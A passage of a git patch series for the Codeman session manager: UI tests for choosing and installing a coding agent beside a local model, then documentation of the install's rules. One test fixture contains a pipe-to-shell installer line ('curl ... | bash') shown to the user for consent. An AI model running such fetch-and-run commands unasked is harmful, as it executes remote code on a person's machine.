'Stop', 'Start a session']); + expect(frameOf(page.body).querySelectorAll('.lm-buttons .wt-btn-primary')).toHaveLength(1); + }); + + it('starts the session with the selected agent, and this device remembers the choice', async () => { + const page = mount(); + const { app } = await opened(page, WITH_AGENTS); + const launch = launcher(app); + pick(page, 'Claude Code'); + expect(chosen(page)).toBe('Claude Code'); + // What the catalogue says about its first answer. + expect(texts(page.body, '.lm-agent-about .lm-aside')).toEqual(['The first answer can take minutes.']); + expect(verbs(app)).toEqual([]); + press(page.body, 'Start a session'); + await settle(); + expect(launch).toHaveBeenCalledWith('claude', 'local-ollama'); + + // The window opened again later: the last choice stands, not the default. + expect(page.dom.window.localStorage.getItem('codeman-local-model-agent')).toBe('claude'); + const again = page.newApp(ok(WITH_AGENTS)); + await again.loadLocalModel(); + again.openLocalModelWindow(); + await settle(); + expect(chosen(page)).toBe('Claude Code'); + }); + + it('a remembered agent the server no longer lists falls back to the default', async () => { + const page = mount(); + page.dom.window.localStorage.setItem('codeman-local-model-agent', 'gone'); + const { app } = await opened(page, WITH_AGENTS); + expect(chosen(page)).toBe('OpenCode'); + const launch = launcher(app); + press(page.body, 'Start a session'); + await settle(); + expect(launch).toHaveBeenCalledWith('opencode', 'local-ollama'); + }); + + it('an agent that is not on this Mac: its literal command, and the main button installs it', async () => { + const page = mount(); + const installing = AGENTS.map((row) => + row.cli === 'pi' ? { ...row, status: 'installing' as const, actions: [] } : row + ); + const { app, serve } = await opened(page, WITH_AGENTS, () => + ok(withAgents(installing, { actions: INSTALLED.install.actions }).install) + ); + pick(page, 'Pi'); + expect(texts(page.body, '.lm-agent-about .lm-aside')).toEqual([ + 'Pi is not on this Mac yet. Codeman installs it with this command:', + ]); + // The command the click consents to, as text, exactly as the server sent it. + expect(texts(page.body, '.lm-agent-about .lm-command')).toEqual([ + 'npm install -g --ignore-scripts @earendil-works/pi-coding-agent', + ]); + expect(buttons(page.body)).toEqual(['Remove', 'Stop', 'Install Pi']); + expect(frameOf(page.body).querySelector('.lm-buttons .wt-btn-primary')!.textContent).toBe('Install Pi'); + + press(page.body, 'Install Pi'); + await settle(); + // The id goes out as data; the command is the server's own and is never sent. + expect(verbs(app)).toEqual([['POST', '/api/local-model/agent', { cli: 'pi' }]]); + expect(chips(page)).toContain('PiInstalling'); + expect(texts(page.body, '.lm-agent-about .lm-aside')).toEqual([ + 'Installing Pi. You can start a session with another agent meanwhile.', + ]); + const main = frameOf(page.body).querySelector('.lm-buttons .wt-btn-primary')!; + expect([main.textContent, main.disabled]).toEqual(['Installing Pi', true]); + // The model is as it was: still installed, still running. + expect(page.body.dataset.screen).toBe('installed'); + expect(texts(page.body, '.lm-state-text')).toEqual(['Running']); + + // The installer landed: the next poll says so, and the same chip now starts a session. + serve( + withAgents( + AGENTS.map((row) => + row.cli === 'pi' + ? { + cli: 'pi', + cliLabel: 'Pi', + default: false, + status: 'ready' as const, + actions: ['start-session' as const], + } + : row + ) + ) + ); + await page.tick(); + expect(chips(page)).toContain('Pi'); + expect(chosen(page)).toBe('Pi'); + expect(buttons(page.body)).toEqual(['Remove', 'Stop', 'Start a session']); + const launch = launcher(app); + press(page.body, 'Start a session'); + await settle(); + expect(launch).toHaveBeenCalledWith('pi', 'local-ollama'); + }); + + it('while an agent installs, a session with another agent can be started', async () => { + const page = mount(); + const rows = AGENTS.map((row) => (row.cli === 'pi' ? { ...row, status: 'installing' as const, actions: [] } : row)); + const { app } = await opened(page, withAgents(rows, { actions: INSTALLED.install.actions })); + expect(chosen(page)).toBe('OpenCode'); + const launch = launcher(app); + press(page.body, 'Start a session'); + await settle(); + expect(launch).toHaveBeenCalledWith('opencode', 'local-ollama'); + }); + + it('a failed install: the server sentence on the chip that failed, the installer words folded away, and try again', async () => { + const page = mount(); + const rows = AGENTS.map((row) => + row.cli === 'pi' + ? { + ...row, + error: { + message: { text: LOCAL_MODEL_INSTALL_LABELS.errHarnessFailed, vars: { cli: 'Pi' } }, + detail: 'npm ERR! network request failed', + }, + } + : row + ); + await opened(page, withAgents(rows)); + // Not shown under another agent. + expect(page.body.querySelector('.lm-agent-about .lm-notice')).toBeNull(); + pick(page, 'Pi'); + expect(texts(page.body, '.lm-agent-about .lm-notice-text')).toEqual(['Pi could not be installed.']); + const detail = page.body.querySelector('.lm-agent-about .lm-detail-text')!; + // Someone else's text: shown as text, never as markup. + expect(detail.textContent).toBe('npm ERR! network request failed'); + expect(detail.querySelector('b')).toBeNull(); + expect(buttons(page.body)).toEqual(['Remove', 'Stop', 'Install Pi']); + // The model itself has no error: the headline still says ready. + expect(texts(page.body, '.lm-title')).toEqual(['Qwen3.6 35B-A3B is ready on this Mac.']); + }); + + it('an agent that needs a setup of its own says where, and has nothing to press', async () => { + const page = mount(); + const { app } = await opened(page, WITH_AGENTS); + pick(page, 'DeepSeek'); + expect(texts(page.body, '.lm-agent-about .lm-aside')).toEqual([ + 'DeepSeek needs a setup of its own. Set it up from the Run menu, then start a session with it here.', + ]); + expect(buttons(page.body)).toEqual(['Remove', 'Stop']); + expect(verbs(app)).toEqual([]); + }); + + it('with no agent that can be started the main button installs the default one', async () => { + const page = mount(); + const rows: LocalModelHarnessRow[] = [ + { + cli: 'opencode', + cliLabel: 'OpenCode', + default: true, + status: 'installable', + installCommand: 'curl -fsSL https://opencode.ai/install | bash', + actions: ['install'], + }, + ]; + await opened(page, withAgents(rows, { actions: ['stop', 'install', 'install-agent', 'remove'] })); + expect(buttons(page.body)).toEqual(['Remove', 'Stop', 'Install OpenCode']); + expect(texts(page.body, '.lm-command')).toEqual(['curl -fsSL https://opencode.ai/install | bash']); + }); + + it('a stopped model: Start stays the one main button, and an agent can still be installed', async () => { + const page = mount(); + const rows = AGENTS.map((row) => (row.status === 'ready' ? { ...row, actions: [] } : row)); + const { app } = await opened( + page, + withAgents(rows, { running: false, actions: ['start', 'install', 'install-agent', 'remove'] }), + () => ok(withAgents(rows, { running: false, actions: ['start', 'install', 'remove'] }).install) + ); + expect(buttons(page.body)).toEqual(['Remove', 'Start']); + pick(page, 'Pi'); + expect(buttons(page.body)).toEqual(['Remove', 'Start', 'Install Pi']); + const primary = frameOf(page.body).querySelectorAll('.lm-buttons .wt-btn-primary'); + expect([...primary].map((el) => el.textContent)).toEqual(['Start']); + press(page.body, 'Install Pi'); + await settle(); + expect(verbs(app)).toEqual([['POST', '/api/local-model/agent', { cli: 'pi' }]]); + }); + + it('moves the selection with the arrow keys, Home and End, and the focus follows', async () => { + const page = mount(); + await opened(page, WITH_AGENTS); + page.body.querySelector('.lm-agent[aria-checked="true"]')!.focus(); + const key = (name: string) => { + const event = new page.dom.window.KeyboardEvent('keydown', { key: name, bubbles: true, cancelable: true }); + page.document.activeElement!.dispatchEvent(event); + return event; + }; + const walk: Array<[string, string]> = [ + ['ArrowRight', 'Claude Code'], + ['ArrowDown', 'Pi'], + ['ArrowLeft', 'Claude Code'], + ['ArrowUp', 'OpenCode'], + // The ends wrap. + ['ArrowLeft', 'DeepSeek'], + ['ArrowRight', 'OpenCode'], + ['End', 'DeepSeek'], + ['Home', 'OpenCode'], + ]; + for (const [name, agent] of walk) { + const event = key(name); + expect(event.defaultPrevented, name).toBe(true); + expect(chosen(page), name).toBe(agent); + const active = page.document.activeElement!; + expect(active.classList.contains('lm-agent'), name).toBe(true); + expect(active.getAttribute('aria-checked'), name).toBe('true'); + } + // Any other key is left alone. + expect(key('a').defaultPrevented).toBe(false); + }); + + it('is not on the screen that ends an install, and not while something blocks every session', async () => { + const page = mount(); + const { app, serve } = await opened(page, INSTALLING); + serve(WITH_AGENTS); + await page.tick(); + // The install just finished in this window: one thing to do. + expect(page.body.querySelector('.lm-agents')).toBeNull(); + expect(buttons(page.body)).toEqual(['Start a session']); + const launch = launcher(app); + press(page.body, 'Start a session'); + await settle(); + // The agent that was chosen for the install: the server's default. + expect(launch).toHaveBeenCalledWith('opencode', 'local-ollama'); + + const blocked = mount(); + await opened( + blocked, + withAgents( + AGENTS.map((row) => ({ ...row, actions: row.actions.filter((action) => action !== 'start-session') })), + { + actions: ['stop', 'install', 'remove'], + error: { + code: 'model-changed', + message: { text: LOCAL_MODEL_INSTALL_LABELS.errModelChanged }, + next: 'remove', + }, + } + ) + ); + expect(blocked.body.querySelector('.lm-agents')).toBeNull(); + expect(buttons(blocked.body)).not.toContain('Start a session'); + }); + + it('an agent name is text of someone else: shown as text', async () => { + const page = mount(); + const rows = AGENTS.map((row) => + row.cli === 'pi' + ? { ...row, cliLabel: '', installCommand: '' } + : row + ); + await opened(page, withAgents(rows)); + pick(page, ''); + expect(page.body.querySelector('.lm-agents img, .lm-agents script')).toBeNull(); + expect(texts(page.body, '.lm-command')).toEqual(['']); + expect(buttons(page.body)).toContain('Install '); + }); + + it('in Chinese: the label, the tags, the line and the button', async () => { + const page = mount({ i18n: true }); + page.win.CodemanI18n.start(); + page.win.CodemanI18n.configure({ language: 'zh-CN' }); + await opened(page, WITH_AGENTS); + expect(texts(page.body, '.lm-agents-label')).toEqual(['开始会话时使用']); + expect(texts(page.body, '.lm-agent .lm-tag')).toEqual(['未安装', '需要设置']); + pick(page, 'Pi'); + expect(texts(page.body, '.lm-agent-about .lm-aside')).toEqual([ + '此 Mac 上尚未安装 Pi。Codeman 会用下面这条命令安装它:', + ]); + expect(buttons(page.body)).toContain('安装 Pi'); + }); + + it('a server that lists no agents (an older one): the one agent of the install, as before', async () => { + const page = mount(); + const { app } = await opened(page, INSTALLED); + expect(page.body.querySelector('.lm-agents')).toBeNull(); + expect(page.body.textContent).toContain('Runs with OpenCode.'); + const launch = launcher(app); + press(page.body, 'Start a session'); + await settle(); + expect(launch).toHaveBeenCalledWith('opencode', 'local-ollama'); + }); +}); + describe('what an earlier Remove left on disk', () => { const LEFT = status({}, { store: STORE_ONE, actions: ['install', 'remove'] }); From 9a34797cd56c94b622b92e856c54ddc23ab732f2 Mon Sep 17 00:00:00 2001 From: Codeman maintainer Date: Wed, 11 Nov 2026 10:02:21 +0100 Subject: [PATCH 07/11] docs(local-model): the coding agents of a model, what each was measured with, and the agent install - docs/local-models.md: the four agents with their first request, whether the window installs them and what was seen where (a real model, a scripted endpoint, Linux, not the pinned runtime); what differs for Pi and for DeepSeek Harness; installing one more agent beside a model. - docs/api-reference.md: `POST /api/local-model/agent`, `install.harnesses`, the `install-agent` action, and `install.cli` as the default agent. - docs/architecture-invariants.md, CLAUDE.md, src/web/CLAUDE.md: the rules: the agent is chosen per session, the agent install is not a job, a launcher is never installable, a readiness mark is a measured one, and the window's one builder for the agent chips. - docs/custom-model-endpoints.md: Pi's context window. Co-Authored-By: Claude Fable 5.2 --- CLAUDE.md | 2 +- docs/api-reference.md | 10 +++-- docs/architecture-invariants.md | 4 +- docs/custom-model-endpoints.md | 7 ++++ docs/local-models.md | 65 +++++++++++++++++++++++++++++++-- src/web/CLAUDE.md | 2 +- 6 files changed, 79 insertions(+), 11 deletions(-) diff --git a/CLAUDE.md b/CLAUDE.md index 7019f4a08..97171e5f9 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -194,7 +194,7 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph **Local model recommendation** (`GET /api/local-model`, `src/local-model/`, `src/config/local-model-catalog.ts`, `src/types/local-model.ts`; EXPERIMENTAL): the server looks at the Mac it runs on and says which local coding model fits it and with which agent CLI. ⚠️ The READ side stays read-only: the probe, the catalogue and `recommend()` download nothing, install nothing and write nothing; everything that changes the machine is the install below, behind an explicit request. Apple silicon macOS only: anywhere else the answer is a `200` with verdict `none` (reasons `not-macos`, `intel`, `memory`, `disk`, `macos`, `no-harness`), and a failed probe is an answer, never a 500. The probe (`hardware.ts`) is ONE bounded async spawn of `/usr/sbin/sysctl` WITHOUT `-n`, parsed as `key: value` lines by the pure `parseSysctl()`, plus `statfs` of the data dir (probed bounded first, #516) and `node:os` fallbacks, cached 60 s; ⚠️ never `system_profiler`, never a second spawn, and `iogpu.wired_limit_mb` of 0 means not set. The catalogue is a compiled constant validated by a Zod schema: ⚠️ no override file and no runtime data, and a model id is `name:tag` in lowercase with no slash (`LOCAL_MODEL_ID_PATTERN`, so an id can never name another registry host). ⚠️ A harness is a catalogue ROW (`{ cli, minContext, rank, gated?, slowFirstTurn? }`) plus a `HarnessFact` built from the CLI registry at call time (`harness-facts.ts`); no code compares a CLI id (both id-branching guards scan these files). `recommend()` (`recommend.ts`) is pure. ⚠️ A model's need is its PEAK (`bytes + heldBytesPerToken * context + overheadBytes + peakExtraBytes`, measured on a Mac for one row and marked `estimated` on the others), and every row names its `runner` (`mlx` or `llamacpp`, the build a Mac really pulls) and carries figures of its OWN: computed from its model's config.json by that runner's rule (catalogue header, MEMORY), never borrowed from another row; `test/local-model-catalog.test.ts` recomputes them, and the `llamacpp` rows assume the runtime's `OLLAMA_KV_CACHE_TYPE=q8_0`, `LLAMA_ARG_CACHE_RAM=1024` and `LLAMA_ARG_CTX_CHECKPOINTS=8` (`runtimeEnv()`) and count what llama-server keeps beside the cache (8 context checkpoints of the recurrent or sliding-window state, and for a GGUF with a prediction layer one rollback copy of the recurrent state per drafted token and that layer's cache in f16), so change the two together. The need is judged against a budget that is `estimated` until the runtime ran and `measured` from then on (`RecommendOptions.measuredTotalBytes`). ⚠️ Ranking, lexicographic: tested on a Mac like this first, then speed `ok` before `unknown` before `slow`, then model rank, harness rank, larger context; the fit grade decides whether a row is listed and what it says, it does NOT sort, so a model is offered at the largest context it fits at. ⚠️ `limited` is a statement about the MAC (no model with 12 billion parameters or more fits), judged before the disk filter and whatever the pick is; a small pick under `ok` carries `noteSmallPick`, and a model left out for disk space is named in `noteDiskDropped`, never dropped in silence. ⚠️ The word "Recommended" exists only in `headlineTested`, and the tag "Tested on a Mac like this" only on a row whose model has a `tested` entry for exactly this chip, memory size and harness. ⚠️ Speed is `ok`/`slow`/`unknown`, graded on the unrounded figure, and a chip in no chips row is `unknown`: never guess a bandwidth. ⚠️ ONE unit for every computed size a person reads: decimal GB text from `formatGb()` (`format.ts`), sent beside the bytes, and the browser never divides bytes; the one exception is the installed memory, shown as `memClassGb` (the size the Mac is sold as, 48 and not 51.5). ⚠️ Every sentence the server chooses is a `LOCAL_MODEL_LABELS`, `LOCAL_MODEL_TAG_LABELS` or `LOCAL_MODEL_INSTALL_LABELS` text with `{placeholder}` slots filled from `vars` (no apostrophe in a text: the zh-CN key is single-quoted), and each needs a zh-CN entry. Admin only in multi-user mode (403 before anything is probed). Tests: `test/local-model-*.test.ts`, `test/routes/local-model-routes.test.ts`. Window rules: `src/web/CLAUDE.md` (Run a model on this Mac). → `docs/api-reference.md` (Local model), `docs/versioning-policy.md` -**Local model install** (`POST /api/local-model/install|use|cancel|resume|runtime`, `DELETE /api/local-model`, `DELETE /api/local-model/models`; `src/local-model/{install-job,runtime,ollama-client,connect,state-store,paths,developer-tools}.ts`; EXPERIMENTAL, admin only in multi-user mode on EVERY verb; guide `docs/local-models.md`): installs the chosen model on the Mac the server runs on and ends on a session of the coding agent running on it. ONE job of five idempotent steps (`runtime`, `model`, `verify`, `agent`, `connect`; `agent` only when the coding agent is missing), a pure reducer (`reduceInstallJob()`) over three tables in `install-job.ts` driven by one service per process (`getLocalModelService()`); the window polls the GET once a second, no SSE event. ⚠️ A LIBRARY with ONE model in use: the store may hold several models and `LocalModelStateFile.library` lists the ones that passed the check (written by the service when `verify` passes, carried by the reducer, dropped by `remove`; an `installed` file without it counts its one model, `libraryOf()`), but the endpoint record lists ONE model, the runtime holds one and only the state's model is ever launched: never widen the record to every checked model. `install` from `installed` adds a model (the earlier one stays: `replacedModelFor()` never names a library model), `use` switches to a checked one (a job of `USE_JOB_STEPS`, `verify` then `connect`; the stored digest is compared before anything is loaded, else `model-changed`), and both answer 409 `sessions-open` while a live session uses the endpoint; until such a job ends `installed`, no session starts (`launchRefusal()` answers `job-unfinished`). `DELETE /api/local-model/models` deletes ONE model by its NAME (`LOCAL_MODEL_ID_PATTERN`, never a path), only a name of the server's own listing, only through the runtime's own delete, never the model of the installation or of the current job (409 `model-active`), and it is no reducer event: its row is the `delete-model` action of `INSTALL_STATE_TABLE`. ⚠️ The view's `library` (state entries joined with the runtime's `/api/tags`: `ready`, `changed`, `missing`, `unverified`) and `store` (the blob folder's size, `measureModelStore()`) are cached (5 s, 30 s), refreshed in the background and thrown away by every verb and step that changes them (`forgetStore()`): never ask the runtime or the disk on the one-second poll, and a runtime that does not answer keeps the last list. ⚠️ Layout only through `localModelPaths()` (all `dataPath()`): `local-model/runtime/ollama-/`, `local-model/models/`, `local-model/home/` (the runtime's PRIVATE HOME, so the user's `~/.ollama` is never touched) and the state file `local-model.json` (0600, ONE serialized writer, total reader, holds NO path); nothing is written or deleted outside `local-model/` except that file and the two writes of the connect step. ⚠️ The runtime pin (`OLLAMA_RUNTIME_PIN`: version, URL, size, sha256) is a COMPILED constant no file, setting or request may supply; the hash is compared BEFORE anything is unpacked. ⚠️ The runtime is a NON-detached child whose environment comes from the `runtimeEnv()` ALLOWLIST, never `process.env` (no `CODEMAN_*`, none of the user's `OLLAMA_*`); the port is chosen ONCE by binding (from 11435, never 11434) and stored; a listener on it is adopted or replaced only when its stored pid runs a binary under OUR runtime folder, anything else is `port-in-use`; started at boot when installed and enabled, max 3 restarts, SIGTERM at shutdown beside `stopDeepSeekWeb()`; under vitest nothing spawns or fetches. ⚠️ Consent is bound to the size: `acknowledgedBytes` must equal the server's own total (`Candidate.installBytes`) or the answer is 409 `size-changed`; the model, context and CLI must be a row the current recommendation offers (400). ⚠️ ONE job at a time (409 `job-running`); a job a restart interrupted comes back `paused` and NEVER continues without a click (so `shutdown()` writes nothing), and an interrupted step is never recorded as failed. ⚠️ An event the transition table does not list is refused (same object back, 409 `wrong-state`): add a row to the table, never a special case. ⚠️ The budget is MEASURED from the runtime's "inference compute" log line and the model judged against it BEFORE it is downloaded. ⚠️ The pull stream is parsed incrementally (about 1.4 million lines for 23 GB): never buffer it, never write state per line. ⚠️ A failure is a code with ONE next step (`LOCAL_MODEL_ERROR_NEXT`), never a bare "failed"; a probe that ended on its token limit is `probe-unfinished`, not `no-tool-call`. ⚠️ The coding agent is installed through the shared runner `src/cli-install-runner.ts` (extracted from `cli-registry-routes.ts`, ONE install slot per CLI for both callers) with `stockInstallCommand()`, the COMPILED stock command, never the `clis.json`-merged one (this path has no `cliManagementEnabled` gate); only for a catalogue harness row, after the consent click that showed the literal command, audited (`cli_install`, `via: 'local-model'`); afterwards `forgetResolvedCli()` and a fresh lookup, and still missing is `harness-failed`. ⚠️ Connect writes ONE endpoint record under the RESERVED id `local-ollama` through `mutateCustomModelHosts()` and `customModelEndpointsEnabled: true` through `mutateSettingsFile()`, remembering the flag's first value; a record with that id that is not ours is never overwritten, and while it is ours it is MANAGED: the endpoint routes refuse to edit or delete it and the discovery sweep skips it (the runtime's port has no login, so its `models` must stay the one model that was checked). ⚠️ The model digest is stored and read again at boot and before every START of a coding agent on that endpoint (`launchRefusalMessage()`): the two custom-model launch routes in `session-routes.ts` ask it before anything is written, the reboot-restore rebuild asks it before it builds (reason `local-model-not-ready`, left on offer), and `Session`'s launch guard (`setLaunchGuard()`, set in `setupSessionListeners()`) asks it right before a NEW agent process starts (a fresh pane, the respawn of a dead one, `restartCli()`), never for an attach to an agent that runs; a refusal is a `LaunchRefusedError` that never falls back to a direct PTY. A changed or missing model, a runtime Codeman did not start or that did not start, or another model id refuses the launch with one sentence. ⚠️ The connection is CLAIMED in the state file (`connection`, with the flag's value read by `inspectLocalEndpoint()`) BEFORE the endpoint record and the settings flag are written, so a state write that fails or a kill between the two never leaves a record the state file does not know; a record under the reserved id that says exactly what ours would say is ours (`isSameLocalEndpoint()`). ⚠️ A job whose end could not be written (a full disk) is kept in memory (`unrecorded`): the view shows it, the next verb writes it, and `installing` in the file while this process runs no job always reads as `paused` or that failure, never as a running job. ⚠️ The runtime's pid is stored the moment it is spawned, and Stop, Remove and the boot of anything that is not a running installation end a runtime an earlier server left behind (`supervisor.stop({ previousPid })`, ours by its command line) before any file is deleted; an installed model keeps the runtime VERSION it was installed with while that folder is unpacked, and a start that fails shows as `runtime-start-failed` with Start as the next step. Stop and "Use another port" answer 409 `sessions-open` while a live session uses the model. ⚠️ Remove (409 `sessions-open` with the names while a live session uses the endpoint) undoes the connection FIRST, restores the flag only when this feature switched it on AND no other endpoint is saved, deletes only inside `local-model/` (the models only when asked), and leaves the coding agent. ⚠️ Developer tools: only `/usr/bin/xcode-select -p`, bounded; never `git`/`python3`/`xcrun` from the server (each opens a system window on such a Mac). Tests: `test/local-model-install-job.test.ts` (every state with every event, the library rows), `-install-service`, `-install-e2e` (real modules over `test/fixtures/fake-ollama.ts`, a second model included), `-state-store`, `-connect`, `test/cli-install-runner.test.ts`, `test/custom-model-hosts-writer.test.ts`, `test/routes/local-model-routes.test.ts`, `test/routes/local-model-launch-guard.test.ts`. → [architecture-invariants#local-model-install](docs/architecture-invariants.md#local-model-install), `docs/local-models.md`, `docs/api-reference.md` (Local model) +**Local model install** (`POST /api/local-model/install|use|cancel|resume|runtime|agent`, `DELETE /api/local-model`, `DELETE /api/local-model/models`; `src/local-model/{install-job,runtime,ollama-client,connect,state-store,paths,developer-tools}.ts`; EXPERIMENTAL, admin only in multi-user mode on EVERY verb; guide `docs/local-models.md`): installs the chosen model on the Mac the server runs on and ends on a session of the coding agent running on it. ONE job of five idempotent steps (`runtime`, `model`, `verify`, `agent`, `connect`; `agent` only when the coding agent is missing), a pure reducer (`reduceInstallJob()`) over three tables in `install-job.ts` driven by one service per process (`getLocalModelService()`); the window polls the GET once a second, no SSE event. ⚠️ A LIBRARY with ONE model in use: the store may hold several models and `LocalModelStateFile.library` lists the ones that passed the check (written by the service when `verify` passes, carried by the reducer, dropped by `remove`; an `installed` file without it counts its one model, `libraryOf()`), but the endpoint record lists ONE model, the runtime holds one and only the state's model is ever launched: never widen the record to every checked model. `install` from `installed` adds a model (the earlier one stays: `replacedModelFor()` never names a library model), `use` switches to a checked one (a job of `USE_JOB_STEPS`, `verify` then `connect`; the stored digest is compared before anything is loaded, else `model-changed`), and both answer 409 `sessions-open` while a live session uses the endpoint; until such a job ends `installed`, no session starts (`launchRefusal()` answers `job-unfinished`). `DELETE /api/local-model/models` deletes ONE model by its NAME (`LOCAL_MODEL_ID_PATTERN`, never a path), only a name of the server's own listing, only through the runtime's own delete, never the model of the installation or of the current job (409 `model-active`), and it is no reducer event: its row is the `delete-model` action of `INSTALL_STATE_TABLE`. ⚠️ The view's `library` (state entries joined with the runtime's `/api/tags`: `ready`, `changed`, `missing`, `unverified`) and `store` (the blob folder's size, `measureModelStore()`) are cached (5 s, 30 s), refreshed in the background and thrown away by every verb and step that changes them (`forgetStore()`): never ask the runtime or the disk on the one-second poll, and a runtime that does not answer keeps the last list. ⚠️ Layout only through `localModelPaths()` (all `dataPath()`): `local-model/runtime/ollama-/`, `local-model/models/`, `local-model/home/` (the runtime's PRIVATE HOME, so the user's `~/.ollama` is never touched) and the state file `local-model.json` (0600, ONE serialized writer, total reader, holds NO path); nothing is written or deleted outside `local-model/` except that file and the two writes of the connect step. ⚠️ The runtime pin (`OLLAMA_RUNTIME_PIN`: version, URL, size, sha256) is a COMPILED constant no file, setting or request may supply; the hash is compared BEFORE anything is unpacked. ⚠️ The runtime is a NON-detached child whose environment comes from the `runtimeEnv()` ALLOWLIST, never `process.env` (no `CODEMAN_*`, none of the user's `OLLAMA_*`); the port is chosen ONCE by binding (from 11435, never 11434) and stored; a listener on it is adopted or replaced only when its stored pid runs a binary under OUR runtime folder, anything else is `port-in-use`; started at boot when installed and enabled, max 3 restarts, SIGTERM at shutdown beside `stopDeepSeekWeb()`; under vitest nothing spawns or fetches. ⚠️ Consent is bound to the size: `acknowledgedBytes` must equal the server's own total (`Candidate.installBytes`) or the answer is 409 `size-changed`; the model, context and CLI must be a row the current recommendation offers (400). ⚠️ ONE job at a time (409 `job-running`); a job a restart interrupted comes back `paused` and NEVER continues without a click (so `shutdown()` writes nothing), and an interrupted step is never recorded as failed. ⚠️ An event the transition table does not list is refused (same object back, 409 `wrong-state`): add a row to the table, never a special case. ⚠️ The budget is MEASURED from the runtime's "inference compute" log line and the model judged against it BEFORE it is downloaded. ⚠️ The pull stream is parsed incrementally (about 1.4 million lines for 23 GB): never buffer it, never write state per line. ⚠️ A failure is a code with ONE next step (`LOCAL_MODEL_ERROR_NEXT`), never a bare "failed"; a probe that ended on its token limit is `probe-unfinished`, not `no-tool-call`. ⚠️ The coding agent is installed through the shared runner `src/cli-install-runner.ts` (extracted from `cli-registry-routes.ts`, ONE install slot per CLI for both callers) with `stockInstallCommand()`, the COMPILED stock command, never the `clis.json`-merged one (this path has no `cliManagementEnabled` gate); only for a catalogue harness row, after the consent click that showed the literal command, audited (`cli_install`, `via: 'local-model'`); afterwards `forgetResolvedCli()` and a fresh lookup, and still missing is `harness-failed`. ⚠️ The catalogue lists four harnesses (opencode, claude, pi, deepseek; a row may also carry `readyMark`, and what each row rests on is the HARNESSES table of the catalogue header). A LAUNCHER (`discovery.launcherProfile`, DeepSeek Harness) is never `installable`: its install command leaves it with nothing to launch, so it is offered only where the Run menu can already start it. `readyMark` holds only a mark that was MEASURED on a custom model session (Pi has none on purpose). ⚠️ The coding agent is chosen PER SESSION: the launch check asks about the endpoint and the model, never the agent; `install.harnesses` (`buildHarnessRows()`, pure) lists every catalogue harness the model in use can be run with (`ready`, `installable`, `installing`, `setup-needed`), and `install.cli` stays the DEFAULT for a client that names none (never an agent that is gone while another can be started). ⚠️ `POST /api/local-model/agent` installs one more agent beside an installed model and is NOT a job or a reducer event: the state stays `installed` whatever the installer does (a failed `npm install` must never refuse a session on a model that works), same slot, stock command and audit line as the `agent` step, one at a time, the outcome in memory only. ⚠️ Connect writes ONE endpoint record under the RESERVED id `local-ollama` through `mutateCustomModelHosts()` and `customModelEndpointsEnabled: true` through `mutateSettingsFile()`, remembering the flag's first value; a record with that id that is not ours is never overwritten, and while it is ours it is MANAGED: the endpoint routes refuse to edit or delete it and the discovery sweep skips it (the runtime's port has no login, so its `models` must stay the one model that was checked). ⚠️ The model digest is stored and read again at boot and before every START of a coding agent on that endpoint (`launchRefusalMessage()`): the two custom-model launch routes in `session-routes.ts` ask it before anything is written, the reboot-restore rebuild asks it before it builds (reason `local-model-not-ready`, left on offer), and `Session`'s launch guard (`setLaunchGuard()`, set in `setupSessionListeners()`) asks it right before a NEW agent process starts (a fresh pane, the respawn of a dead one, `restartCli()`), never for an attach to an agent that runs; a refusal is a `LaunchRefusedError` that never falls back to a direct PTY. A changed or missing model, a runtime Codeman did not start or that did not start, or another model id refuses the launch with one sentence. ⚠️ The connection is CLAIMED in the state file (`connection`, with the flag's value read by `inspectLocalEndpoint()`) BEFORE the endpoint record and the settings flag are written, so a state write that fails or a kill between the two never leaves a record the state file does not know; a record under the reserved id that says exactly what ours would say is ours (`isSameLocalEndpoint()`). ⚠️ A job whose end could not be written (a full disk) is kept in memory (`unrecorded`): the view shows it, the next verb writes it, and `installing` in the file while this process runs no job always reads as `paused` or that failure, never as a running job. ⚠️ The runtime's pid is stored the moment it is spawned, and Stop, Remove and the boot of anything that is not a running installation end a runtime an earlier server left behind (`supervisor.stop({ previousPid })`, ours by its command line) before any file is deleted; an installed model keeps the runtime VERSION it was installed with while that folder is unpacked, and a start that fails shows as `runtime-start-failed` with Start as the next step. Stop and "Use another port" answer 409 `sessions-open` while a live session uses the model. ⚠️ Remove (409 `sessions-open` with the names while a live session uses the endpoint) undoes the connection FIRST, restores the flag only when this feature switched it on AND no other endpoint is saved, deletes only inside `local-model/` (the models only when asked), and leaves the coding agent. ⚠️ Developer tools: only `/usr/bin/xcode-select -p`, bounded; never `git`/`python3`/`xcrun` from the server (each opens a system window on such a Mac). Tests: `test/local-model-install-job.test.ts` (every state with every event, the library rows), `-install-service`, `-install-e2e` (real modules over `test/fixtures/fake-ollama.ts`, a second model included), `-state-store`, `-connect`, `test/cli-install-runner.test.ts`, `test/custom-model-hosts-writer.test.ts`, `test/routes/local-model-routes.test.ts`, `test/routes/local-model-launch-guard.test.ts`. → [architecture-invariants#local-model-install](docs/architecture-invariants.md#local-model-install), `docs/local-models.md`, `docs/api-reference.md` (Local model) **MCP server sync** (opt-in, `mcpSyncEnabled`, SYNCED, default OFF; `src/mcp-sync.ts`, `GET`/`POST /api/mcp-sync`): copies each installed, enabled CLI's user-level MCP servers into the others. It is the ONE subsystem that writes another CLI's REAL user config (`~/.claude.json`, `~/.codex/config.toml`, `~/.gemini/*`, opencode's), which is why it is opt-in and admin-only in multi-user mode (both verbs 403 for a non-admin, and the Settings group is hidden for them). Where each CLI keeps the file is registry data, `capabilities.mcpConfig` (`{ path, format, relocation? }`), never a branch on the id. ⚠️ Tools that sync but are not run modes (GitHub Copilot CLI, the first) are plain data in `MCP_SYNC_ONLY_TOOLS` (`src/mcp-sync-targets.ts`), take part only when installed or already configured, and their companion `settings.json` (`disabledMcpServers`) is read, never written; a test must clear their relocation vars too. ⚠️ ADDITIVE only: a name already defined, in any shape, is never edited or removed (a different same-name definition is a reported conflict), and a server switched off in its own CLI is never copied. ⚠️ Never write a file that did not parse; re-parse the NEW text and require every added server to read back before the tmp+rename (written through a symlink, previous file kept as `.codeman-bak`, one apply at a time, else 409). ⚠️ A file that receives copied `env`/`headers` (secrets) is left `0600`, and so is the backup. ⚠️ Responses carry server NAMES only, never env values, headers or file text: a parse failure is reported by line and column (`describeMcpSyncError`), never the parser's own message (smol-toml and V8 both quote source). ⚠️ `mcpConfig.relocation` names the env var the CLI reads to move its file (`CLAUDE_CONFIG_DIR`, `CODEX_HOME`, `XDG_CONFIG_HOME`, `GEMINI_CLI_HOME`, and `COPILOT_HOME` for 